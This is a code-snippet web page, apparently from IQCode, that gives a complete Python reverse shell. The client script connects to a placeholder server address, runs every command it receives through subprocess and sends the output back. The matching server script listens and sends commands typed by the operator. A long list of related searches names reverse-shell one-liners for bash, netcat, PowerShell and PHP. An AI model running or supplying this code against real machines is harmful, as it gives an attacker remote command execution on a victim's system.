socket reverse shell

import socket   # client
import subprocess
import sys

SERVER_HOST = 'ip'
SERVER_PORT = 5003
BUFFER_SIZE = 1024

# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))

# receive the greeting message
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)

while True:
    # receive the command from the server
    command = s.recv(BUFFER_SIZE).decode()
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close()

0
0
Masterkomp 100 points

                                    import socket  #server

SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003

BUFFER_SIZE = 1024

# create a socket object
s = socket.socket()

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
# make the PORT reusable
# when you run the server multiple times in Linux, Address already in use error will raise
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")

# just sending a message, for demonstration purposes
message = "Hello and Welcome".encode()
client_socket.send(message)

while True:
    # get the command from prompt
    command = input("Enter the command you wanna execute:")
    # send the command to the client
    client_socket.send(command.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # retrieve command results
    results = client_socket.recv(BUFFER_SIZE).decode()
    # print them
    print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()

0
0
Are there any code examples left?
Create a Free Account
Unlock the power of data and AI by diving into Python, ChatGPT, SQL, Power BI, and beyond.
Sign up
Develop soft skills on BrainApps
Complete the IQ Test
Relative searches
reverse shell using socket php one liner reverse shell reverse tcp cheat sheet windows tcp reverse shell java reverse tcp shell batch reverse tcp shell cmd reverse tcp shell bash sh reverse shell how to write reverse shell pentest monkey reversehell tcp reverse shell powershell payload tcp reverse shell payload wget reverse shell reverse shell from linux to windows php payload reverse shell reverse shell bash linux reverse shell windows linux reverse shell linux reverse shell on windows python linux reverse shell netcat oneline reverse shell bash socket reverse shell windows reverse tecp one line bash reverse shell one liner pentestmonkey bash reverse shell one liner reverse shell form reverse shell python linux reverse chell script reverse shell with python cmd.exe /c reverse shell reverse shell python command windows raw cmd reverse shell windows cmd reverse shell revers eshell python cmd one liner reverse shell pentestmonkey ruby reverse shell ruby reverse shell netcat stdin for reverse shell on web get param reverse shell script sh reverse shell one liner windows reverse shell oneliner system shell cheat sheet rev shell cheat sheet shell reverse tcp source write to file from reverse shell reverse shell windows windows reverse shell without python reverse shell windows with python and nodejs /proc/net/tcp reverse shell reverse shell with end checking reverse shell windows reverse bash shell python3 revshell pentestmonkey bash reverse tcp shell transfer files bin bash reverse shell cmd reverse shell python2 shell payload bash script revshell java reverse shell python revertse shell bash reverse shell one line reverse shell bash PHP reverse shell payload reverse shell link cmd reverse shell command get a shell over tcp powershell iex reverse shell reverse shell command reverse shell tcp oneline bash reverse sheel cmd reverse shell one liner reverse shell payload reverse-shell-cheat-sheet windows windows to linux reverse shell python reverse shell bash script reverse shell php reverse shell attack python reverse shell windows host reverse shell bsh one liner reverse shell python windows reverse shell reverse shell payloadallthething of revers shell python3 reverse shell python shell cheat sheet reverse shell linux reverse shell socket reverse shell
Made with love
This website uses cookies to make IQCode work for you. By using this site, you agree to our cookie policy

Welcome Back!

Sign up to unlock all of IQCode features:
  • Test your skills and track progress
  • Engage in comprehensive interactive courses
  • Commit to daily skill-enhancing challenges
  • Solve practical, real-world issues
  • Share your insights and learnings
Create an account
Sign in
Recover lost password
Or log in with

Create a Free Account

Sign up to unlock all of IQCode features:
  • Test your skills and track progress
  • Engage in comprehensive interactive courses
  • Commit to daily skill-enhancing challenges
  • Solve practical, real-world issues
  • Share your insights and learnings
Create an account
Sign up
Or sign up with
By signing up, you agree to the Terms and Conditions and Privacy Policy. You also agree to receive product-related marketing emails from IQCode, which you can unsubscribe from at any time.
Creating a new code example
Code snippet title
Source